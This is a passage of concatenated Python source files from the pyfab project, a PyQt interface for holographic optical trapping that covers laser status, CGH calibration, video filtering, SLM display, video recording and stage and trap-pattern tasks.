set(self, state): self.led.setPixmap(self.states[state]) class status_widget(QtGui.QFrame): def __init__(self): super(status_widget, self).__init__() self.init_ui() def init_ui(self): self.setFrameStyle(QtGui.QFrame.Panel | QtGui.QFrame.Sunken) layout = QtGui.QHBoxLayout() self.led_key = indicator('keyswitch') self.led_aim = indicator(' aiming ', [led('amber-led-off'), led('amber-led-on')], button=True) self.led_aim.button.setToolTip('Toggle aiming laser on/off') self.led_emx = indicator(' emission', [led('red-led-off'), led('red-led-on'), led('amber-led-on')], button=True) self.led_emx.button.setToolTip('Toggle laser emission on/off') self.led_flt = indicator(' fault ', [led('amber-led-off'), led('amber-led-on')]) layout.setMargin(2) layout.setSpacing(1) layout.addWidget(self.led_key) layout.addWidget(self.led_aim) layout.addWidget(self.led_emx) layout.addWidget(self.led_flt) self.setLayout(layout) def update(self, key, aim, emx, flt): self.led_key.set(key) self.led_aim.set(aim) self.led_emx.set(emx) self.led_flt.set(flt) class power_widget(QtGui.QWidget): def __init__(self, **kwargs): super(power_widget, self).__init__(**kwargs) self.min = 0. self.max = 10. self.init_ui() self.value = 0 def init_ui(self): layout = QtGui.QVBoxLayout() layout.setMargin(2) layout.setSpacing(1) title = QtGui.QLabel('power [W]') title.setAlignment(QtCore.Qt.AlignCenter) layout.addWidget(title) v = QtGui.QDoubleValidator(self.min, self.max, 4.) v.setNotation(QtGui.QDoubleValidator.StandardNotation) self.wvalue = QtGui.QLineEdit() self.wvalue.setValidator(v) self.wvalue.setAlignment(QtCore.Qt.AlignRight) self.wvalue.setMaxLength(6) self.wvalue.setReadOnly(True) layout.addWidget(self.wvalue) self.setLayout(layout) @property def value(self): self._value @value.setter def value(self, _value): value = np.clip(float(_value), self.min, self.max) self._value = value self.wvalue.setText(QtCore.QString('%.4f' % value)) class QIPGLaser(QtGui.QFrame): def __init__(self): super(QIPGLaser, self).__init__() self.instrument = ipg() self.init_ui() atexit.register(self.shutdown) self._timer = QtCore.QTimer(self) self._timer.timeout.connect(self.update) self._timer.setInterval(1000) self._timer.start() def stop(self): self._timer.stop() def start(self): self._timer.start() return self def shutdown(self): self.stop() self.instrument.close() def init_ui(self): self.setFrameShape(QtGui.QFrame.Box) layout = QtGui.QVBoxLayout() layout.setMargin(0) layout.setSpacing(0) layout.addWidget(QtGui.QLabel(' Trapping Laser')) layout.addWidget(self.display_widget()) self.setLayout(layout) def display_widget(self): self.wstatus = status_widget() self.wpower = power_widget() w = QtGui.QWidget() layout = QtGui.QHBoxLayout() layout.setSpacing(1) layout.addWidget(self.wstatus) layout.addWidget(self.wpower) w.setLayout(layout) self.wstatus.led_aim.button.clicked.connect(self.toggleaim) self.wstatus.led_emx.button.clicked.connect(self.toggleemission) return w def toggleaim(self): state = self.instrument.aimingbeam() self.instrument.aimingbeam(state = not state) def toggleemission(self): state = self.instrument.emission() self.instrument.emission(state = not state) def update(self): flags = self.instrument.flags() self.wstatus.update(self.instrument.keyswitch(flags), self.instrument.aimingbeam(flags), (self.instrument.startup(flags) + self.instrument.emission(flags)), self.instrument.error(flags)) self.wpower.value = self.instrument.power() def main(): import sys app = QtGui.QApplication(sys.argv) w = status_widget() w.show() sys.exit(app.exec_())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,098
dalerxli/pyfab
refs/heads/master
/pyfablib/CGH/QCGH.py
from PyQt4 import QtCore from common.QPropertySheet import QPropertySheet class QCGH(QPropertySheet): def __init__(self, cgh, camera): super(QCGH, self).__init__(title='CGH Pipeline') self.cgh = cgh self.wxs = self.registerProperty('xs', cgh.rs.x(), 0, cgh.slm.width()) self.wys = self.registerProperty('ys', cgh.rs.y(), 0, cgh.slm.height()) self.wqpp = self.registerProperty('qpp', cgh.qpp, 0., 1.) self.walpha = self.registerProperty('alpha', cgh.alpha, 0.1, 10.) self.wxc = self.registerProperty('xc', cgh.rc.x(), 0, camera.width()) self.wyc = self.registerProperty('yc', cgh.rc.y(), 0, camera.height()) self.wzc = self.registerProperty('zc', cgh.rc.z(), -500, 500) self.wtheta = self.registerProperty('theta', cgh.theta, -180, 180) self.wxs.valueChanged.connect(self.updateXs) self.wys.valueChanged.connect(self.updateYs) self.wqpp.valueChanged.connect(self.updateQpp) self.walpha.valueChanged.connect(self.updateAlpha) self.wxc.valueChanged.connect(self.updateXc) self.wyc.valueChanged.connect(self.updateYc) self.wzc.valueChanged.connect(self.updateZc) self.wtheta.valueChanged.connect(self.updateTheta) @QtCore.pyqtSlot() def updateXs(self): rs = self.cgh.rs rs.setX(self.wxs.value) self.cgh.rs = rs @property def xs(self): return self.cgh.rs.x() @xs.setter def xs(self, xs): self.wxs.value = xs self.updateXs() @QtCore.pyqtSlot() def updateYs(self): rs = self.cgh.rs rs.setY(self.wys.value) self.cgh.rs = rs @property def ys(self): return self.cgh.rs.y() @ys.setter def ys(self, ys): self.wys.value = ys self.updateYs() @QtCore.pyqtSlot() def updateQpp(self): self.cgh.qpp = self.wqpp.value @property def qpp(self): return self.cgh.qpp @qpp.setter def qpp(self, qpp): self.wqpp.value = qpp self.updateQpp() @QtCore.pyqtSlot() def updateAlpha(self): self.cgh.alpha = self.walpha.value @property def alpha(self): return self.cgh.alpha @alpha.setter def alpha(self, alpha): self.walpha.value = alpha self.updateAlpha() @QtCore.pyqtSlot() def updateXc(self): rc = self.cgh.rc rc.setX(self.wxc.value) self.cgh.rc = rc @property def xc(self): return self.cgh.rc.x() @xc.setter def xc(self, xc): self.wxc.value = xc self.updateXc() @QtCore.pyqtSlot() def updateYc(self): rc = self.cgh.rc rc.setY(self.wyc.value) self.cgh.rc = rc @property def yc(self): return self.cgh.rc.y() @yc.setter def yc(self, yc): self.wyc.value = yc self.updateYc() @QtCore.pyqtSlot() def updateZc(self): rc = self.cgh.rc rc.setZ(self.wzc.value) self.cgh.rc = rc @property def zc(self): return self.cgh.rc.z() @zc.setter def zc(self, zc): self.wzc.value = zc self.updateZc() @QtCore.pyqtSlot() def updateTheta(self): self.cgh.theta = self.wtheta.value @property def theta(self): return self.cgh.theta @theta.setter def theta(self, theta): self.wtheta.value = theta self.updateTheta() @property def calibration(self): return {'xc': self.xc, 'yc': self.yc, 'zc': self.zc, 'xs': self.xs, 'ys': self.ys, 'qpp': self.qpp, 'alpha': self.alpha, 'theta': self.theta} @calibration.setter def calibration(self, values): if not isinstance(values, dict): return for attribute, value in values.iteritems(): try: setattr(self, attribute, value) except AttributeError: print('unknown attribute:', attribute) def main(): from PyQt4 import QtGui from QSLM import QSLM from CGH import CGH import sys app = QtGui.QApplication(sys.argv) slm = QSLM() cgh = CGH(slm=slm) wcgh = QCGH(cgh=cgh) wcgh.show() wcgh.xc = -10 sys.exit(app.exec_()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,099
dalerxli/pyfab
refs/heads/master
/jansenlib/QJansenWidget.py
#!/usr/bin/env python """QJansenWidget.py: GUI for holographic video microscopy.""" import pyqtgraph as pg from pyqtgraph.Qt import QtGui, QtCore from QJansenScreen import QJansenScreen import video from tasks.taskmanager import taskmanager import DVR import sys import numpy as np import cv2 def tabLayout(): layout = QtGui.QVBoxLayout() layout.setAlignment(QtCore.Qt.AlignTop) layout.setSpacing(1) return layout class histogramTab(QtGui.QWidget): def __init__(self, parent): super(histogramTab, self).__init__(parent=parent) self.title = 'Histogram' self.index = -1 self.video = self.parent().screen.video self.parent().tabs.currentChanged.connect(self.expose) layout = tabLayout() self.setLayout(layout) histo = pg.PlotWidget(background='w') histo.setMaximumHeight(250) histo.setXRange(0, 255) histo.setLabel('bottom', 'Intensity') histo.setLabel('left', 'N(Intensity)') histo.showGrid(x=True, y=True) self.rplot = histo.plot() self.rplot.setPen('r', width=2) self.gplot = histo.plot() self.gplot.setPen('g', width=2) self.bplot = histo.plot() self.bplot.setPen('b', width=2) layout.addWidget(histo) xmean = pg.PlotWidget(background='w') xmean.setMaximumHeight(150) xmean.setLabel('bottom', 'x [pixel]') xmean.setLabel('left', 'I(x)') xmean.showGrid(x=True, y=True) self.xplot = xmean.plot() self.xplot.setPen('r', width=2) layout.addWidget(xmean) ymean = pg.PlotWidget(background='w') ymean.setMaximumHeight(150) ymean.setLabel('bottom', 'y [pixel]') ymean.setLabel('left', 'I(y)') ymean.showGrid(x=True, y=True) self.yplot = ymean.plot() self.yplot.setPen('r', width=2) layout.addWidget(ymean) def expose(self, index): if index == self.index: self.video.registerFilter(self.histogramFilter) else: self.video.unregisterFilter(self.histogramFilter) def histogramFilter(self, frame): if self.video.gray: y, x = np.histogram(frame, bins=256, range=[0, 255]) self.rplot.setData(y=y) self.gplot.setData(y=[0, 0]) self.bplot.setData(y=[0, 0]) self.xplot.setData(y=np.mean(frame, 0)) self.yplot.setData(y=np.mean(frame, 1)) else: b, g, r = cv2.split(frame) y, x = np.histogram(r, bins=256, range=[0, 255]) self.rplot.setData(y=y) y, x = np.histogram(g, bins=256, range=[0, 255]) self.gplot.setData(y=y) y, x = np.histogram(b, bins=256, range=[0, 255]) self.bplot.setData(y=y) self.xplot.setData(y=np.mean(r, 0)) self.yplot.setData(y=np.mean(r, 1)) return frame class QJansenWidget(QtGui.QWidget): def __init__(self, size=(640, 480)): super(QJansenWidget, self).__init__() self.init_hardware(size) self.init_ui() def init_hardware(self, size): # video screen self.screen = QJansenScreen(size=size, gray=True) self.wvideo = video.QFabVideo(self.screen.video) self.filters = video.QFabFilter(self.screen.video) # tasks are processes that are synchronized with video frames self.tasks = taskmanager(parent=self) # DVR self.dvr = DVR.QFabDVR(source=self.screen.video) self.dvr.recording.connect(self.handleRecording) def init_ui(self): layout = QtGui.QHBoxLayout() layout.setContentsMargins(0, 0, 0, 0) layout.setSpacing(1) layout.addWidget(self.screen) self.tabs = QtGui.QTabWidget() self.tabs.setMaximumWidth(400) self.tabs.addTab(self.videoTab(), 'Video') tab = histogramTab(self) index = self.tabs.addTab(tab, 'Histogram') tab.index = index layout.addWidget(self.tabs) layout.setAlignment(self.tabs, QtCore.Qt.AlignTop) self.setLayout(layout) def videoTab(self): wvideo = QtGui.QWidget() layout = tabLayout() layout.addWidget(self.dvr) layout.addWidget(self.wvideo) layout.addWidget(self.filters) wvideo.setLayout(layout) return wvideo def keyPressEvent(self, event): if event.key() == QtCore.Qt.Key_R: if self.dvr.isrecording(): self.dvr.bstop.animateClick(100) else: self.dvr.brecord.animateClick(100) elif event.key() == QtCore.Qt.Key_S: self.dvr.bstop.animateClick(100) event.accept() def handleRecording(self, recording): self.wvideo.enabled = not recording if __name__ == '__main__': app = QtGui.QApplication(sys.argv) instrument = QJansenWidget() sys.exit(app.exec_())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,100
dalerxli/pyfab
refs/heads/master
/jansenlib/video/vmedian.py
import numpy as np class vmedian(object): def __init__(self, order=0, shape=None): """Compute running median of a video stream :param order: depth of median filter: 3^(order + 1) images :param dimensions: (width, height) of images :returns: :rtype: """ self.child = None self.shape = shape self.order = order self.index = 0 def filter(self, data): self.add(data) return self.get() def get(self, reshape=True): """Return current median image :returns: median image :rtype: numpy.ndarray """ data = np.median(self.buffer, axis=0).astype(np.uint8) if reshape: data = np.reshape(data, self.shape) return data def add(self, data): """include a new image in the median calculation :param data: image data :returns: :rtype: """ if data.shape != self.shape: self.shape = data.shape if isinstance(self.child, vmedian): self.child.add(data) if (self.child.index == 0): self.buffer[self.index, :] = self.child.get(reshape=False) self.index = self.index + 1 else: self.buffer[self.index, :] = np.ravel(data) self.index = self.index + 1 if self.index == 3: self.index = 0 self.initialized = True def reset(self): self.initialized = False if isinstance(self.child, vmedian): self.child.reset() @property def shape(self): return self._shape @shape.setter def shape(self, shape): self._shape = shape if shape is not None: self.npts = np.product(shape) self.buffer = np.zeros((3, self.npts), dtype=np.uint8) self.index = 0 self.initialized = False if isinstance(self.child, vmedian): self.child.shape = shape @property def order(self): return self._order @order.setter def order(self, order): self._order = np.clip(order, 0, 10) if (self._order == 0): self.child = None else: if isinstance(self.child, vmedian): self.child.order = self._order - 1 else: self.child = vmedian(order=self._order - 1, shape=self.shape) self.initialized = False
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,101
dalerxli/pyfab
refs/heads/master
/pyfablib/QSLM.py
#!/usr/bin/env python """QSLM.py: PyQt abstraction for a Spatial Light Modulator (SLM).""" from pyqtgraph.Qt import QtGui, QtCore import numpy as np from PIL import Image from PIL.ImageQt import ImageQt class QSLM(QtGui.QLabel): def __init__(self, parent=None, fake=False, **kwargs): desktop = QtGui.QDesktopWidget() if (desktop.screenCount() == 2) and not fake: rect = desktop.screenGeometry(1) w, h = rect.width(), rect.height() parent = desktop.screen(1) super(QSLM, self).__init__(parent) self.setWindowFlags(QtCore.Qt.FramelessWindowHint) else: w, h = 1024, 768 super(QSLM, self).__init__(parent) self.resize(w, h) self.setWindowTitle('SLM') self._width = w self._height = h phi = np.zeros((h, w), dtype=np.uint8) self.data = phi self.show() @property def data(self): return self._data @data.setter def data(self, d): self._data = d img = QtGui.QImage(ImageQt(Image.fromarray(d))) pix = QtGui.QPixmap.fromImage(img) self.setPixmap(pix) def height(self): return self._height def width(self): return self._width def main(): import sys app = QtGui.QApplication(sys.argv) slm = QSLM() slm.show() sys.exit(app.exec_()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,102
dalerxli/pyfab
refs/heads/master
/pyfab.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """pyfab is a GUI for holographic optical trapping""" from pyqtgraph.Qt import QtGui from pyfablib.QFabWidget import QFabWidget from common.fabconfig import fabconfig import sys class pyfab(QtGui.QMainWindow): def __init__(self): super(pyfab, self).__init__() self.instrument = QFabWidget(size=(640, 480)) self.config = fabconfig(self) self.config.restore(self.instrument.wcgh) self.init_ui() self.setCentralWidget(self.instrument) self.show() tabs = self.instrument.tabs tabs.setFixedWidth(tabs.width()) def init_ui(self): self.setWindowTitle('PyFab') self.statusBar().showMessage('Ready') menubar = self.menuBar() menubar.setNativeMenuBar(False) self.fileMenu(menubar) self.taskMenu(menubar) self.calibrationMenu(menubar) def fileMenu(self, parent): menu = parent.addMenu('&File') icon = QtGui.QIcon.fromTheme('camera-photo') action = QtGui.QAction(icon, 'Save &Photo', self) action.setStatusTip('Save a snapshot') action.triggered.connect(self.savePhoto) menu.addAction(action) icon = QtGui.QIcon.fromTheme('camera-photo') action = QtGui.QAction(icon, 'Save Photo As ...', self) action.setStatusTip('Save a snapshot') action.triggered.connect(lambda: self.savePhoto(True)) menu.addAction(action) icon = QtGui.QIcon.fromTheme('document-save') action = QtGui.QAction(icon, '&Save Settings', self) action.setStatusTip('Save current settings') action.triggered.connect(self.saveSettings) menu.addAction(action) icon = QtGui.QIcon.fromTheme('application-exit') action = QtGui.QAction(icon, '&Exit', self) action.setShortcut('Ctrl-Q') action.setStatusTip('Exit PyFab') action.triggered.connect(self.close) menu.addAction(action) def taskMenu(self, parent): menu = parent.addMenu('&Tasks') action = QtGui.QAction('Clear traps', self) action.setStatusTip('Delete all traps') action.triggered.connect(self.instrument.pattern.clearTraps) menu.addAction(action) action = QtGui.QAction('Render text', self) action.setStatusTip('Render text as a pattern of traps') action.triggered.connect( lambda: self.instrument.tasks.registerTask('rendertext')) menu.addAction(action) action = QtGui.QAction('Render text ...', self) tip = 'Render specified text as a pattern of traps' action.setStatusTip(tip) action.triggered.connect( lambda: self.instrument.tasks.registerTask('rendertextas')) menu.addAction(action) action = QtGui.QAction('Cyclic motion', self) action.triggered.connect( lambda: self.instrument.tasks.registerTask('stagemacro')) menu.addAction(action) def calibrationMenu(self, parent): menu = parent.addMenu('&Calibration') action = QtGui.QAction('Calibrate rc', self) action.setStatusTip('Find location of optical axis in field of view') action.triggered.connect( lambda: self.instrument.tasks.registerTask('calibrate_rc')) menu.addAction(action) self.stageMenu(menu) action = QtGui.QAction('Aberrations', self) action.setStatusTip('NOT IMPLEMENTED YET') action.triggered.connect( lambda: self.instrument.tasks.registerTask('calibrate_haar')) menu.addAction(action) def stageMenu(self, parent): if self.instrument.wstage is None: return menu = parent.addMenu('Stage') tip = 'Define current position to be stage origin in %s' action = QtGui.QAction('Set X origin', self) action.setStatusTip(tip % 'X') action.triggered.connect(self.instrument.wstage.setXOrigin) menu.addAction(action) action = QtGui.QAction('Set Y origin', self) action.setStatusTip(tip % 'Y') action.triggered.connect(self.instrument.wstage.setYOrigin) menu.addAction(action) action = QtGui.QAction('Set Z origin', self) action.setStatusTip(tip % 'Z') action.triggered.connect(self.instrument.wstage.setZOrigin) menu.addAction(action) def savePhoto(self, select=False): filename = self.config.filename(suffix='.png') if select: filename = QtGui.QFileDialog.getSaveFileName( self, 'Save Snapshot', directory=filename, filter='Image files (*.png)') if filename: qimage = self.instrument.fabscreen.video.qimage qimage.mirrored(vertical=True).save(filename) self.statusBar().showMessage('Saved ' + filename) def saveSettings(self): self.config.save(self.instrument.wcgh) def close(self): self.instrument.close() QtGui.qApp.quit() def closeEvent(self, event): self.close() if __name__ == '__main__': app = QtGui.QApplication(sys.argv) instrument = pyfab() sys.exit(app.exec_())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,103
dalerxli/pyfab
refs/heads/master
/jansenlib/DVR/__init__.py
from QFabDVR import QFabDVR __all__ = ['QFabDVR']
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,104
dalerxli/pyfab
refs/heads/master
/jansenlib/DVR/QFabDVR.py
from PyQt4 import QtGui, QtCore from PyQt4.QtCore import Qt from .fabdvr import fabdvr from common.clickable import clickable class QFabDVR(fabdvr, QtGui.QFrame): recording = QtCore.pyqtSignal(bool) def __init__(self, **kwargs): super(QFabDVR, self).__init__(**kwargs) self.initUI() def initUI(self): self.setFrameShape(QtGui.QFrame.Box) # Create layout layout = QtGui.QGridLayout(self) layout.setMargin(1) layout.setHorizontalSpacing(6) layout.setVerticalSpacing(3) # Widgets iconsize = QtCore.QSize(24, 24) title = QtGui.QLabel('Video Recorder') self.brecord = QtGui.QPushButton('Record', self) self.brecord.clicked.connect(self.handleRecord) self.brecord.setIcon( self.style().standardIcon(QtGui.QStyle.SP_MediaPlay)) self.brecord.setIconSize(iconsize) self.brecord.setToolTip('Start recording video') self.bstop = QtGui.QPushButton('Stop', self) self.bstop.clicked.connect(self.handleStop) self.bstop.setIcon(self.style().standardIcon( QtGui.QStyle.SP_MediaStop)) self.bstop.setIconSize(iconsize) self.bstop.setToolTip('Stop recording video') self.wframe = self.framecounter_widget() wfilelabel = QtGui.QLabel('file name') wfilelabel.setAlignment(Qt.AlignRight | Qt.AlignVCenter) self.wfilename = self.filename_widget() # Place widgets in layout layout.addWidget(title, 1, 1, 1, 3) layout.addWidget(self.brecord, 2, 1) layout.addWidget(self.bstop, 2, 2) layout.addWidget(self.wframe, 2, 3) layout.addWidget(wfilelabel, 3, 1) layout.addWidget(self.wfilename, 3, 2, 1, 2) self.setLayout(layout) # customized widgets def framecounter_widget(self): lcd = QtGui.QLCDNumber(self) lcd.setNumDigits(5) lcd.setSegmentStyle(QtGui.QLCDNumber.Flat) palette = lcd.palette() palette.setColor(palette.WindowText, QtGui.QColor(0, 0, 0)) palette.setColor(palette.Background, QtGui.QColor(255, 255, 255)) lcd.setPalette(palette) lcd.setAutoFillBackground(True) return lcd def filename_widget(self): line = QtGui.QLineEdit() line.setText(self.filename) line.setReadOnly(True) clickable(line).connect(self.getFilename) return line # core functionality def write(self, frame): super(QFabDVR, self).write(frame) self.wframe.display(self.framenumber) def getFilename(self): if self.isrecording(): return fn = self.filename filename = QtGui.QFileDialog.getSaveFileName( self, 'Video File Name', fn, 'Video files (*.avi)') if filename: self.filename = str(filename) self.wfilename.setText(self.filename) @QtCore.pyqtSlot() def handleRecord(self): super(QFabDVR, self).record(10000) self.recording.emit(True) @QtCore.pyqtSlot() def handleStop(self): super(QFabDVR, self).stop() self.recording.emit(False) def main(): import sys from QCameraDevice import QCameraDevice from QVideoItem import QVideoItem, QVideoWidget app = QtGui.QApplication(sys.argv) device = QCameraDevice(size=(640, 480), gray=True) video = QVideoItem(device) widget = QVideoWidget(video, background='w') widget.show() dvr = QFabDVR(source=video) dvr.show() sys.exit(app.exec_()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,105
dalerxli/pyfab
refs/heads/master
/tasks/rendertext.py
from PIL import Image, ImageDraw, ImageFont import numpy as np from numpy.random import normal from task import task from PyQt4.QtGui import QVector3D import os class rendertext(task): def __init__(self, text='hello', spacing=20, fuzz=0.05, **kwargs): super(rendertext, self).__init__(**kwargs) dir, _ = os.path.split(__file__) font = os.path.join(dir, 'Ubuntu-R.ttf') self.font = ImageFont.truetype(font) self.spacing = spacing self.fuzz = fuzz self.text = text def dotask(self): sz = self.font.getsize(self.text) img = Image.new('L', sz, 0) draw = ImageDraw.Draw(img) draw.text((0, 0), self.text, font=self.font, fill=255) bmp = np.array(img) > 128 bmp = bmp[::-1] sz = self.parent.screen.video.device.size y, x = np.nonzero(bmp) x = x + normal(scale=self.fuzz, size=len(x)) - np.mean(x) y = y + normal(scale=self.fuzz, size=len(y)) - np.mean(y) x = x * self.spacing + sz.width() / 2 y = y * self.spacing + sz.height() / 2 p = list(map(lambda x, y: QVector3D(x, y, 0), x, y)) self.parent.pattern.createTraps(p)
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,106
dalerxli/pyfab
refs/heads/master
/tasks/stagego.py
from task import task class stagego(task): def __init__(self, dx = -100, speed=1, **kwargs): super(stagego, self).__init__(**kwargs) self.dx = dx self.speed = speed self.nframes = 10 def initialize(self): self.wstage = self.parent.wstage self.stage = self.wstage.instrument self.position = self.stage.position() self.stage.setMaxSpeed(self.speed) self.goal = self.position[0] + self.dx self.stage.moveX(self.goal) def doprocess(self, frame): if self.stage.stageMoving(): self.nframes = 2 def dotask(self): self.stage.reset()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,107
dalerxli/pyfab
refs/heads/master
/tasks/taskmanager.py
